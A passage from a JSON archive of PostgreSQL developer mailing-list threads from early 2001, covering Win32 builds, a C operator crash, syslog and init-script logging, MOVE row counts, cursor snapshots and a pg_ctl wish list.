pgsql/src/interfaces/libpq/win32.h, as well as including win32.h \nat the top of pgsql/src/interfaces/libpq/libpq-fe.h. This may need to be in \na config.h file, or something like that.\n\nI fought with the win32.mak files for a while, but it turned out to be \neasier to use an MSVC 6 Workspace to build libpq, libpgtcl, psql as \nprojects. I put it in pgsql/src/win32 - it seemed like a good place. That \nway you don't end up with Debug and Release directories all over the place, \nand you can put your .dlls and .exes and .libs in one place.\n\nOh and there's an amusing free() assertion failure in the notify handler if \nyou don't build with multithread dll runtime, but you guys got that one \nalready?\n\nSo, to summarise:\n\n1) get libpgtcl working under win32, but with slighly broken pg_listen support\n2) export DLL functions differently\n3) make win32 builds slightly less noisy\n4) create MSVC projects (in src/win32)\n\nWhere do I send the diffs and new files? pgsql-patches?\n\nbye\nJohn\n\n",
"msg_date": "Mon, 05 Feb 2001 23:28:53 +0200",
"msg_from": "John Anderson <panic@semiosix.com>",
"msg_from_op": false,
"msg_subject": "building libpgtcl for pgaccess under win32, and other stories"
}
] |
[
{
"msg_contents": "Sorry if I'm posting to the wrong list, if so, please could you point me to \nthe correct list? Thanks!\n\nI'm trying to work with Access and Postgres as backend, but I often get \nerrors like \"unable to find an operator '=' for numeric and float\" and \nsuch. Now I've implemented an operator in PLPGSQL, but I'm not very \nsatisfied with the results (performance-wise). I've tried it in C, but \nfailed:\n\nI've written a function like this one (I tried to copy the behaviour a \ncompersion function in utils/adt/numeric.c):\n\nDatum\nnumeric_float8_eq(PG_FUNCTION_ARGS)\n{\n Numeric num1 = PG_GETARG_NUMERIC(0);\n float8 num2 = PG_GETARG_FLOAT8(1);\n bool result;\n\n if (NUMERIC_IS_NAN(num1) || isnan(num2))\n result = false;\n else\n {\n float8 num3 = numeric_float8(num1);\n if(num2 == num3)\n result = true;\n else\n result = false;\n }\n\n PG_FREE_IF_COPY(num1, 0);\n\n PG_RETURN_BOOL(result);\n}\n\nUnfortunatly, this fails. The backend dies with a SIGNAL11 when calling \nthis functions. Are there any examples how to implement such operators (any \nexample might help)?\n\nThanks!\n\nBest regards,\n Mario Weilguni\n\n",
"msg_date": "Sun, 4 Feb 2001 11:12:35 +0100",
"msg_from": "Mario Weilguni <mweilguni@sime.com>",
"msg_from_op": true,
"msg_subject": "Implementing an operator in C?"
},
{
"msg_contents": "Mario Weilguni <mweilguni@sime.com> writes:\n> float8 num3 = numeric_float8(num1);\n\nThat won't work in the brave new world of 7.1 :-(. You need to do\nsomething like\n\n\tfloat8 num3 = DatumGetFloat8(DirectFunctionCall1(numeric_float8,\n\t\t\t\t\tNumericGetDatum(num1)));\n\nUgly, I know ... but we have to be rigidly careful about converting\nvalues to Datum and back in order to avoid portability problems.\n\nA decent C compiler should've warned about type mismatches in your call,\nBTW.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 04 Feb 2001 14:12:06 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Implementing an operator in C? "
},
{
"msg_contents": "Am Sonntag, 4. Februar 2001 20:12 schrieben Sie:\n> Mario Weilguni <mweilguni@sime.com> writes:\n> > float8 num3 = numeric_float8(num1);\n>\n> That won't work in the brave new world of 7.1 :-(. You need to do\n> something like\n>\n> \tfloat8 num3 = DatumGetFloat8(DirectFunctionCall1(numeric_float8,\n> \t\t\t\t\tNumericGetDatum(num1)));\n>\n> Ugly, I know ... but we have to be rigidly careful about converting\n> values to Datum and back in order to avoid portability problems.\n>\n> A decent C compiler should've warned about type mismatches in your call,\n> BTW.\n>\n> \t\t\tregards, tom lane\n\nThanks alot for the info, but the problem is elsewhere. Even a simple \nfunction like\nDatum\nnef(PG_FUNCTION_ARGS)\n{\n�������� Numeric�������� ������� num1 = PG_GETARG_NUMERIC(0);\n�������� PG_RETURN_BOOL(true);\n}\n\nwill crash. The macro PG_GETARG_NUMERIC evaluates to:\n((Numeric)pg_detoast_datum((struct varlena *) ((Pointer) ( (fcinfo->arg[0])))\nand this pg_detoast_datum will lead to a crash (SIGSEGV). So I think I must \nbe doing something wrong here, isn't it?\n\nThanks!\n\nBest regards,\n�������� Mario Weilguni\n\n-- \n===================================================\n Mario Weilguni � � � � � � � � KPNQwest Austria GmbH\n�Senior Engineer Web Solutions Nikolaiplatz 4\n�tel: +43-316-813824 � � � � 8020 graz, austria\n�fax: +43-316-813824-26 � � � http://www.kpnqwest.at\n�e-mail: mario.weilguni@kpnqwest.com\n===================================================\n\n",
"msg_date": "Mon, 5 Feb 2001 19:04:38 +0100",
"msg_from": "Mario Weilguni <Mario.Weilguni@kpnqwest.com>",
"msg_from_op": false,
"msg_subject": "Re: Implementing an operator in C?"
},
{
"msg_contents": "Mario Weilguni wrote:\n> \n> Am Sonntag, 4. Februar 2001 20:12 schrieben Sie:\n> > Mario Weilguni <mweilguni@sime.com> writes:\n> > > float8 num3 = numeric_float8(num1);\n> >\n> > That won't work in the brave new world of 7.1 :-(. You need to do\n> > something like\n> >\n> > float8 num3 = DatumGetFloat8(DirectFunctionCall1(numeric_float8,\n> > NumericGetDatum(num1)));\n> >\n> > Ugly, I know ... but we have to be rigidly careful about converting\n> > values to Datum and back in order to avoid portability problems.\n> >\n> > A decent C compiler should've warned about type mismatches in your call,\n> > BTW.\n> >\n> > regards, tom lane\n> \n> Thanks alot for the info, but the problem is elsewhere. Even a simple\n> function like\n> Datum\n> nef(PG_FUNCTION_ARGS)\n> {\n> Numeric num1 = PG_GETARG_NUMERIC(0);\n> PG_RETURN_BOOL(true);\n> }\n> \n> will crash. The macro PG_GETARG_NUMERIC evaluates to:\n> ((Numeric)pg_detoast_datum((struct varlena *) ((Pointer) ( (fcinfo->arg[0])))\n> and this pg_detoast_datum will lead to a crash (SIGSEGV). So I think I must\n> be doing something wrong here, isn't it?\n\nCould be. What data type *is* the input argument? It had better be of\ntype \"NUMERIC\", and not of type \"FLOAT8\", which of course uses a\ndifferent accessor function...\n\n - Thomas\n",
"msg_date": "Tue, 06 Feb 2001 14:14:33 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: Implementing an operator in C?"
}
] |
[
{
"msg_contents": "Nic Ferrier (nferrier@tapsellferrier.co.uk) reports a bug with a severity of 3\nThe lower the number the more severe it is.\n\nShort Description\nsyslog logging setup broken?\n\nLong Description\nWhen building from the latest (7.1 beta 4+) CVS I had a problem with syslog logging.\n\nEvery time I started the postmaster the logger would fail with the message:\n logger: FATAL 1: 'syslog' is not a valid option name\nI eventually tracked this down to being something to do with the postgresql.conf file's specifiying of the logging.\n\nI fixed the problem by commenting out the command to turn on syslog terminal log output.\n\nThis led me to examine the startup file supplied for Linux users in more detail. I believe it's broken.\n\nSee the example code below.\n\n\nBTW in case you need to know my system is a Sun running Debian (2.2).\t\n\nSample Code\nMy postgresql.conf looks a bit like this:\n # turn on logging of connections\n log_connections = on\n\n # make all logs go to syslog and terminal\n # (TF run Postgres with no terminal mostly \n # but it's usefull when debugging)\n # syslog = 1\n\nWhen the syslog=1 statement is NOT commented out the server won't start.\n\n\nThe relevant part of the startup file, which I copied from the RedHat example, looks like this:\n\n if [ ${USE_SYSLOG} = \"yes\" ]; then\n su - ${PGACCOUNT} -c \"(${POSTMASTER} -D ${PGDATA} ${PGOPTS} 2>&1 \n | logger -p ${FACILITY}.notice) &\" > /dev/null 2>&1 &\n else\n su - ${PGACCOUNT} -c \"${POSTMASTER} -D ${PGDATA} ${PGOPTS} \n >> ${PGLOGFILE} 2>&1 &\" > /dev/null 2>&1 &\n fi\n\n\nNow surely this will cause either the syslog or a tmp file to recieve output but not both.\n\nUnless there's something inside the postmaster itself that does these logging operations, in which case the startup file doesn't need to pipe to the logger.\n\nNo file was uploaded with this report\n\n",
"msg_date": "Sun, 4 Feb 2001 09:31:44 -0500 (EST)",
"msg_from": "pgsql-bugs@postgresql.org",
"msg_from_op": true,
"msg_subject": "syslog logging setup broken?"
},
{
"msg_contents": "> Nic Ferrier (nferrier@tapsellferrier.co.uk) reports a bug with a severity of 3\n\n> The relevant part of the startup file, which I copied from the RedHat example, looks like this:\n\nThe example startup file is outdated and broken. Don't use it.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sun, 4 Feb 2001 16:10:14 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: syslog logging setup broken?"
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n> The example startup file is outdated and broken. Don't use it.\n\nEr ... shouldn't we fix it? Or remove it?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 04 Feb 2001 15:15:34 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: syslog logging setup broken? "
},
{
"msg_contents": "Tom Lane writes:\n\n> Peter Eisentraut <peter_e@gmx.net> writes:\n> > The example startup file is outdated and broken. Don't use it.\n>\n> Er ... shouldn't we fix it? Or remove it?\n\nSee my message on -hackers, \"Sparc/Linux patch\" thing follow-up.\n\nThe bottom line is that, IMHO, writing a portable init.d style (or any\nother such concept) startup file that is ready for blind use is beyond\npracticality. It might be better to collect a few of the ones that are\nbeing used now (Red Hat-style, SuSE-style, Debian, *BSD-style) and ship\nthem. This should be coordinated with the packagers, though.\n\nI'll try to look into it.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sun, 4 Feb 2001 22:57:23 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: syslog logging setup broken? "
},
{
"msg_contents": "> Tom Lane writes:\n> \n> > Peter Eisentraut <peter_e@gmx.net> writes:\n> > > The example startup file is outdated and broken. Don't use it.\n> >\n> > Er ... shouldn't we fix it? Or remove it?\n> \n> See my message on -hackers, \"Sparc/Linux patch\" thing follow-up.\n> \n> The bottom line is that, IMHO, writing a portable init.d style (or any\n> other such concept) startup file that is ready for blind use is beyond\n> practicality. It might be better to collect a few of the ones that are\n> being used now (Red Hat-style, SuSE-style, Debian, *BSD-style) and ship\n> them. This should be coordinated with the packagers, though.\n> \n\nShould I remove init.d from /contrib?\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sun, 4 Feb 2001 17:07:40 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: syslog logging setup broken?"
}
] |
[
{
"msg_contents": "Hi!\n\nI would like to ask you, the developers about the following\nquestion.\n\nBecause I wanted to know after issuing a MOVE, that how many\nsteps did really happen, I made a patch, and now the backend\nnot only replies \"MOVE\" but \"MOVE XXX\", where XXX is the\nnumber of steps. It needed only a few new lines (3 or 4 :-)\n\nNow the question is: should I use this solution,or should\nI use an other? Is it possible that others are also interested\nabout this? Is it possible, that including this into the\nsource would be wrong, because some standards say \"Say only\nmove, but don't tell how many rows you really moved?\"\n\nThanks,\nBaldvin\n\n\n\n",
"msg_date": "Sun, 4 Feb 2001 16:49:31 +0100 (MET)",
"msg_from": "Kovacs Baldvin <kb136@hszk.bme.hu>",
"msg_from_op": true,
"msg_subject": "Message of MOVE"
},
{
"msg_contents": "Kovacs Baldvin wrote:\n> \n> Hi!\n> \n> I would like to ask you, the developers about the following\n> question.\n> \n> Because I wanted to know after issuing a MOVE, that how many\n> steps did really happen, I made a patch, and now the backend\n> not only replies \"MOVE\" but \"MOVE XXX\", where XXX is the\n> number of steps. It needed only a few new lines (3 or 4 :-)\n> \n> Now the question is: should I use this solution,or should\n> I use an other? Is it possible that others are also interested\n> about this?\n\nAt least I would need it. I was myself contemplating adding a \nfunction that would tell me how many rows a select returned \n(without actually retrieving all of them) and this seems to \ncover it nicely\n\nso I could do:\n\nBEGIN;\nDECLARE mycursor SCROLL cursor for SELECT * from t;\nMOVE 2000000000 IN mycursor;\n<parse out the real move into X>;\nMOVE -(X+1) IN mycursor;\n<do what I need>;\nEND;\n\n> Is it possible, that including this into the\n> source would be wrong, because some standards say \"Say only\n> move, but don't tell how many rows you really moved?\"\n\nI could not find _any_ MOVE command in ansi-iso-9075-2-1999.txt\nso even our MOVE syntax is probably non-standard:\n\nSo seems to be our FETCH, as standard defines it as:\n\n <fetch statement> ::=\n FETCH [ [ <fetch orientation> ] FROM ]\n <cursor name> INTO <fetch target list>\n\n <fetch orientation> ::=\n NEXT\n | PRIOR\n | FIRST\n | LAST\n | { ABSOLUTE | RELATIVE } <simple value specification>\n\n <fetch target list> ::=\n <target specification> [ { <comma> <target specification>\n}... ]\n\nand this must be done after \"OPEN cursorname\";\n\n----------------\nHannu\n",
"msg_date": "Mon, 05 Feb 2001 00:21:01 +0200",
"msg_from": "Hannu Krosing <hannu@tm.ee>",
"msg_from_op": false,
"msg_subject": "Re: Message of MOVE"
}
] |
[
{
"msg_contents": "Hello.\n\nCould somebody explain me the mechanism in the backend,\nwhich is responsible for the followings. (I tried to\nlook around snapshots, but couldnt figure out th answer).\n\nIn a transaction, isol. read comitted, a select from a\ntable can see the comitted changes by others, but\na previously declared cursor can not.\n\nA few lines in src/backend/tcop/pquery.c runs when\na DECLARE cursor is issued:\n\n> if (isRetrieveIntoPortal)\n> {\n> PortalExecutorHeapMemory = NULL;\n>\n> ProcessPortal(intoName,\n> [...]\n> \t\treturn;\n>\t }\n \n, but I cannot see neither in these, nor in ProcessPortal that\nwhere does it fix the set of rows being visible.\n\nPlease help to find it out.\n\nThanks,\nBaldvin\n\n\n\n\n",
"msg_date": "Sun, 4 Feb 2001 17:03:54 +0100 (MET)",
"msg_from": "Kovacs Baldvin <kb136@hszk.bme.hu>",
"msg_from_op": true,
"msg_subject": "snapshots"
},
{
"msg_contents": "Kovacs Baldvin <kb136@hszk.bme.hu> writes:\n> Could somebody explain me the mechanism in the backend,\n> which is responsible for the followings. (I tried to\n> look around snapshots, but couldnt figure out th answer).\n\n> In a transaction, isol. read comitted, a select from a\n> table can see the comitted changes by others, but\n> a previously declared cursor can not.\n\nYup. The snapshot used for a particular query is nailed down when\nExecutorStart() is called. Look around for uses of QuerySnapshot\nand estate->es_snapshot.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 04 Feb 2001 14:34:02 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: snapshots "
}
] |
[
{
"msg_contents": "Hi Guys,\n\nplease tell me how to get software from you.\n\nI found no way to download any software.\n\nBest Regards\n\nKai\n\n\n\n\n\n\n\nHi Guys,\n \nplease tell me how to get software from \nyou.\n \nI found no way to download any \nsoftware.\n \nBest Regards\n \nKai",
"msg_date": "Sun, 4 Feb 2001 17:28:53 +0100",
"msg_from": "\"Kajetan Hofman\" <Kajetan100@gmx.de>",
"msg_from_op": true,
"msg_subject": "Getting Software"
},
{
"msg_contents": "On Sun, 4 Feb 2001, Kajetan Hofman wrote:\n\n> Hi Guys,\n>\n> please tell me how to get software from you.\n>\n> I found no way to download any software.\n\nDid you try the \"Software\" link on the website?\n\nVince.\n-- \n==========================================================================\nVince Vielhaber -- KA8CSH email: vev@michvhf.com http://www.pop4.net\n 128K ISDN from $22.00/mo - 56K Dialup from $16.00/mo at Pop4 Networking\n Online Campground Directory http://www.camping-usa.com\n Online Giftshop Superstore http://www.cloudninegifts.com\n==========================================================================\n\n\n\n",
"msg_date": "Mon, 5 Feb 2001 14:26:00 -0500 (EST)",
"msg_from": "Vince Vielhaber <vev@michvhf.com>",
"msg_from_op": false,
"msg_subject": "Re: Getting Software"
}
] |
[
{
"msg_contents": ">>> Bruce Momjian <pgman@candle.pha.pa.us> 04-Feb-01 10:07:40 PM >>>\n\n>> The bottom line is that, IMHO, writing a portable \n>> init.d style (or any other such concept) startup file \n>> that is ready for blind use is beyond practicality. \n>> It might be better to collect a few of the ones that are\n>> being used now (Red Hat-style, SuSE-style, Debian, \n>> *BSD-style) and ship them. This should be coordinated \n>>with the packagers, though. \n\n>Should I remove init.d from /contrib?\n\nI'm just a postgres user but I don't agree with Peter. I think the\nfile is valuable.\n\nThe file is valuable for people not using a distribution such as\nDebian, etc... and also is usefull to people developing packages for\ndistributions.\n\nI don't use a packaged postgres and it was certainly valuable to me\nbecause it served as an example of what I had to do to get postgres\ngoing quickly in the way that I wanted.\n\nI sent Peter an updated file that IMHO irons out some problems which\nmay cause Peter to consider the file broken:\n\n- ouptut was being piped to the logger if \"syslog\" was on\nIt's not necessary to do that because postgres handles the decision\nabout syslog depending on the conf file.\n\n- the postmaster was being started without nohup\n\n- the system for setting options wasn't very usefull\nthe system that I've replaced it with isn't terribly usefull either\nbut it works.\n\n\nSo anyway, my view as a user is that it's usefull and that a package\nspecific version would come with the package anyway.\n\n\nNic Ferrier\nTapsell-Ferrier Limited\n\n",
"msg_date": "Sun, 04 Feb 2001 22:37:12 +0000",
"msg_from": "\"Nic Ferrier\" <nferrier@tapsellferrier.co.uk>",
"msg_from_op": true,
"msg_subject": "Re: [HACKERS] Re: syslog logging setup broken?"
},
{
"msg_contents": "\"Nic Ferrier\" wrote:\n >- the postmaster was being started without nohup\n \nIf postmaster is being started by init, it should not need nohup, because\ninit never exits and postmaster is not going to get shutdown unexpectedly.\n\nnohup has a performance cost, in that (at least on Linux) it automatically\nnices (lowers the priority of) the process. You may not want the\npriority lowered...\n\n-- \nOliver Elphick Oliver.Elphick@lfix.co.uk\nIsle of Wight http://www.lfix.co.uk/oliver\nPGP: 1024R/32B8FAA1: 97 EA 1D 47 72 3F 28 47 6B 7E 39 CC 56 E4 C1 47\nGPG: 1024D/3E1D0C1C: CA12 09E0 E8D5 8870 5839 932A 614D 4C34 3E1D 0C1C\n ========================================\n \"Lift up your heads, O ye gates; and be ye lift up, ye \n everlasting doors; and the King of glory shall come \n in. Who is this King of glory? The LORD strong and \n mighty, the LORD mighty in battle.\" \n Psalms 24:7,8 \n\n\n",
"msg_date": "Mon, 05 Feb 2001 22:56:12 +0000",
"msg_from": "\"Oliver Elphick\" <olly@lfix.co.uk>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: syslog logging setup broken? "
},
{
"msg_contents": "\"Oliver Elphick\" <olly@lfix.co.uk> writes:\n> \"Nic Ferrier\" wrote:\n>>>> - the postmaster was being started without nohup\n \n> If postmaster is being started by init, it should not need nohup, because\n> init never exits and postmaster is not going to get shutdown unexpectedly.\n\nOn the other hand, when pg_ctl is invoked by hand, it probably is a bug\nthat it fails to use nohup. Perhaps this is a reason why pg_ctl should\nnot be made into a substitute for a startup script?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 05 Feb 2001 19:39:24 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: syslog logging setup broken? "
},
{
"msg_contents": "> > If postmaster is being started by init, it should not need nohup, because\n> > init never exits and postmaster is not going to get shutdown unexpectedly.\n> \n> On the other hand, when pg_ctl is invoked by hand, it probably is a bug\n> that it fails to use nohup. Perhaps this is a reason why pg_ctl should\n> not be made into a substitute for a startup script?\n\nIf pg_ctl unconditionally use nohup, it might be a performance penalty\nas Oliver mentioned.\n\n> nohup has a performance cost, in that (at least on Linux) it automatically\n> nices (lowers the priority of) the process. You may not want the\n> priority lowered...\n\nMoreover if postmaster detaches itself to be a deamon, nohup is not\nnecessary at all.\n\nBTW, for the startup script, I don't think we need to use pg_ctl.\nInvoking postmaster directry seems enough for me. The only reason for\nusing pg_ctl to start postmaster is waiting for postmaster up and\nrunning. In most cases the time to recover DB would not be so\nlong. And if the recovery took too long time, we would not want to be\nblocked in the middle of the boot sequence anyway.\n\nComments?\n--\nTatsuo Ishii\n",
"msg_date": "Tue, 06 Feb 2001 12:39:46 +0900",
"msg_from": "Tatsuo Ishii <t-ishii@sra.co.jp>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: syslog logging setup broken? "
},
{
"msg_contents": "Tatsuo Ishii writes:\n\n> Moreover if postmaster detaches itself to be a deamon, nohup is not\n> necessary at all.\n\nRight. Scrap that thought then.\n\n> BTW, for the startup script, I don't think we need to use pg_ctl.\n> Invoking postmaster directry seems enough for me. The only reason for\n> using pg_ctl to start postmaster is waiting for postmaster up and\n> running.\n\nWaiting for the postmaster to start up is really only useful when you\nstart it interactively, either during development, or if you need to\nrepair a problem. In either of these cases you might as well (and\nprobably rather should) look at the log output yourself, i.e., just use\n'postmaster'.\n\n> In most cases the time to recover DB would not be so\n> long. And if the recovery took too long time, we would not want to be\n> blocked in the middle of the boot sequence anyway.\n\nExactly. No waiting on startup by default then?\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Tue, 6 Feb 2001 17:43:16 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: syslog logging setup broken? "
}
] |
[
{
"msg_contents": "To alleviate the need for a start up script somewhat we could perhaps fix\nup pg_ctl to serve that purpose better.\n\n-w should be the default, as has been suggested.\n\n\"fast\" shutdown should be the default, otherwise you may get surprises on\nsystem shutdown when users are still connected.\n\nThere should be an option to put the server log somewhere, either a file\nor maybe a pipe, e.g.,\n\npg_ctl -l logfile\npg_ctl -P 'magic-log-rotator -x -y -z'\n\nThe current behaviour, start server in background and leave stdin/stdout\non terminal, and no nohup, is just plain wrong.\n\nI think there should also be a reasonable defense against not using one of\nthese options, but I'm not sure what that could be. Maybe something like\npicking a default file based on PGDATA.\n\nThere should be an option to not print informational messages, so startup\nscripts can implement their own message systems without resorting to the\ndraconian '>/dev/null 2>&1'.\n\nSome option that invokes 'su' with an appropriate user name. Not sure\nwhether you can invoke 'su' portably.\n\nFinally, maybe a default PGDATA would be useful, although I'm not fond of\nit personally.\n\nComments?\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sun, 4 Feb 2001 23:52:00 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": true,
"msg_subject": "pg_ctl wish list"
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n> To alleviate the need for a start up script somewhat we could perhaps fix\n> up pg_ctl to serve that purpose better.\n\n> -w should be the default, as has been suggested.\n\nAgreed.\n\n> \"fast\" shutdown should be the default, otherwise you may get surprises on\n> system shutdown when users are still connected.\n\nNo, I don't think so. During a system shutdown, init will deliver\nSIGTERM to all the backends as well as the postmaster, so the backends\nwill die quite handily without the postmaster needing to give them any\nadditional push. We should not change to a less-safe default behavior\nwhen there is no need to.\n\n> There should be an option to put the server log somewhere, either a file\n> or maybe a pipe, e.g.,\n> pg_ctl -l logfile\n> pg_ctl -P 'magic-log-rotator -x -y -z'\n\nOr we could just switch over to syslog as the standard log\ndestination...\n\n> The current behaviour, start server in background and leave stdin/stdout\n> on terminal, and no nohup, is just plain wrong.\n\nAgreed.\n\n> Some option that invokes 'su' with an appropriate user name. Not sure\n> whether you can invoke 'su' portably.\n\nPerhaps the postmaster should have a '-u userid' option and do a\nsetuid() call ... though I don't know whether this will be materially\nmore portable than invoking su from a script.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 04 Feb 2001 23:04:31 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: pg_ctl wish list "
},
{
"msg_contents": "Tom Lane writes:\n\n> > \"fast\" shutdown should be the default, otherwise you may get surprises on\n> > system shutdown when users are still connected.\n>\n> No, I don't think so. During a system shutdown, init will deliver\n> SIGTERM to all the backends as well as the postmaster, so the backends\n> will die quite handily without the postmaster needing to give them any\n> additional push.\n\nDuring a system shutdown on my system, '{script} stop' will be called,\nwhich will (at present) send SIGTERM to the postmaster. This will hang\nindefinitely at worst. Assume that we don't configure it to wait\n(although we agreed on the opposite), and the global SIGTERM is sent out,\nis there some sort of ordering guarantee?\n\n> We should not change to a less-safe default behavior when there is no\n> need to.\n\nIs it really less safe? In my mind, the \"fast\" shutdown behaviour is\nappropriate for a system shutdown. After all, the system shutdown doesn't\nwait for all users to log out either, it just says \"See ya\". An\nergonomical \"fast\" postmaster shutdown would send some message before\ndisconnecting all clients as well, but the fact that is does forcibly\ndisconnect seems required to me.\n\n> > There should be an option to put the server log somewhere, either a file\n> > or maybe a pipe, e.g.,\n> > pg_ctl -l logfile\n> > pg_ctl -P 'magic-log-rotator -x -y -z'\n>\n> Or we could just switch over to syslog as the standard log\n> destination...\n\nNot as long as all the good stuff goes to stderr.\n\n> Perhaps the postmaster should have a '-u userid' option and do a\n> setuid() call ... though I don't know whether this will be materially\n> more portable than invoking su from a script.\n\nGiven that we do have pg_ctl, we can probably avoid a lot of headaches by\navoiding the setuid() business. There's no good solution for initdb in\nthat area anyway.\n\n\nI think the -w thing and the log output thing should be fixed before 7.1\ngoes out the door. Any comments on the particulars?\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Mon, 5 Feb 2001 18:01:10 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": true,
"msg_subject": "Re: pg_ctl wish list "
},
{
"msg_contents": "A command-line option for specifying the logfile would be very helpful\non WIN32.\n\nWhen setting up PostgreSQL to run as an NT service, the only way I can\nsee to redirect stdout/stderr to a file is to invoke postmaster via a\nwrapper sh/bash process. I suspect that this wrapper process would\nhave to hang around as long as postmaster is running, although it\nmight be possible to do an exec to overlay it. It would be nice to\navoid this wrapper process.\n\nOn Mon, Feb 05, 2001 at 06:01:10PM +0100, Peter Eisentraut wrote:\n> > > There should be an option to put the server log somewhere, either a file\n> > > or maybe a pipe, e.g.,\n> > > pg_ctl -l logfile\n> > > pg_ctl -P 'magic-log-rotator -x -y -z'\n> >\n> > Or we could just switch over to syslog as the standard log\n> > destination...\n> \n> Not as long as all the good stuff goes to stderr.\n\n-- \nFred Yankowski fred@OntoSys.com tel: +1.630.879.1312\nPrincipal Consultant www.OntoSys.com fax: +1.630.879.1370\nOntoSys, Inc 38W242 Deerpath Rd, Batavia, IL 60510, USA\n",
"msg_date": "Mon, 5 Feb 2001 11:18:15 -0600",
"msg_from": "Fred Yankowski <fred@ontosys.com>",
"msg_from_op": false,
"msg_subject": "command-line option for logfile"
},
{
"msg_contents": "Peter Eisentraut wrote:\n> Tom Lane writes:\n> > > \"fast\" shutdown should be the default, otherwise you may get surprises on\n> > > system shutdown when users are still connected.\n\n> > No, I don't think so. During a system shutdown, init will deliver\n> > SIGTERM to all the backends as well as the postmaster, so the backends\n> > will die quite handily without the postmaster needing to give them any\n> > additional push.\n \n> During a system shutdown on my system, '{script} stop' will be called,\n> which will (at present) send SIGTERM to the postmaster. This will hang\n> indefinitely at worst. Assume that we don't configure it to wait\n> (although we agreed on the opposite), and the global SIGTERM is sent out,\n> is there some sort of ordering guarantee?\n\nHmmm. On RedHat, the appropriate runlevel is set -- 6 for reboot, 0 for\nhalt. The SysV-init walks the rc.d subdir (rc6.d for reboot, rc0.d for\nhalt), finding a list of scripts. The scripts are executed in ASCII\ncollation order, but, by convention, the scripts are symlinks to the\nreal scripts in /etc/rc.d/init.d. Scripts starting with K are given a\nparameter of 'stop', and ones starting with S are given a parameter of\n'start'. The K scripts (K85postgresql for example) are executed in\norder, then the S scripts are executed. The last two scripts to execute\nare S00killall and S01reboot.\n\nS00killall (symlink to ../init.d/killall) combs /var/lock/subsys for\nservices that were started but not stopped by their own initscript, and\ninvokes their script with the stop parameter if so. This is a sanity\ncheck.\n\nS01reboot is a symlink to ../init.d/halt, and does the following:\n1.)\tChecks its invocation name. If reboot, set up for reboot, if halt,\nset up for halt.\n2.)\tSends SIGTERM to all running processes, using /sbin/killall5, which\nis a binary shipped with the SysVinit package to send a kill to all\nprocesses. The kills are likely sent in PID order, but a look at the\nsource to killall5 would be required to guarantee that.\n3.)\thalt -w to force a write to wtmp before /var is umounted.\n4.)\tSave mixer settings.\n5.)\tTurn off swap.\n6.)\tUnmount filesystems, using a sophisticated scheme that kills off any\nremaining processes with open files on the filesystems to be unmounted\nwith SIGKILL.\n7.)\tTurn off RAID.\n8.)\tUnmount /proc.\n9.)\tRemount remaining filesystems (/ should be the only one) read-only.\n10.)\tEval the command setup -- reboot for 'reboot', and halt for 'halt'.\n\nBut, in the context of the RedHat system, the postgresql initscript is\nwhere the backend reaping should occur. Recommendations as to algorithm\nare welcome, as you correctly state that the script currently only\ndirectly signals postmaster processes.\n\n> Is it really less safe? In my mind, the \"fast\" shutdown behaviour is\n> appropriate for a system shutdown. After all, the system shutdown doesn't\n> wait for all users to log out either, it just says \"See ya\". An\n\nA system shutdown will forcibly disconnect all clients anyway, as NICs\nare shutdown, etc. So a fast shutdown for system shutdown is entirely\nappropriate, IMHO.\n\n> > Or we could just switch over to syslog as the standard log\n> > destination...\n \n> Not as long as all the good stuff goes to stderr.\n \n> I think the -w thing and the log output thing should be fixed before 7.1\n> goes out the door. Any comments on the particulars?\n\nWhere can elog() not be safely used? I'll volunteer to grep and\nreplace, subbing appropriate elog parameters, but I'm not sure I can do\nit in time for 7.1's release.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Mon, 05 Feb 2001 12:32:04 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": false,
"msg_subject": "Re: pg_ctl wish list"
},
{
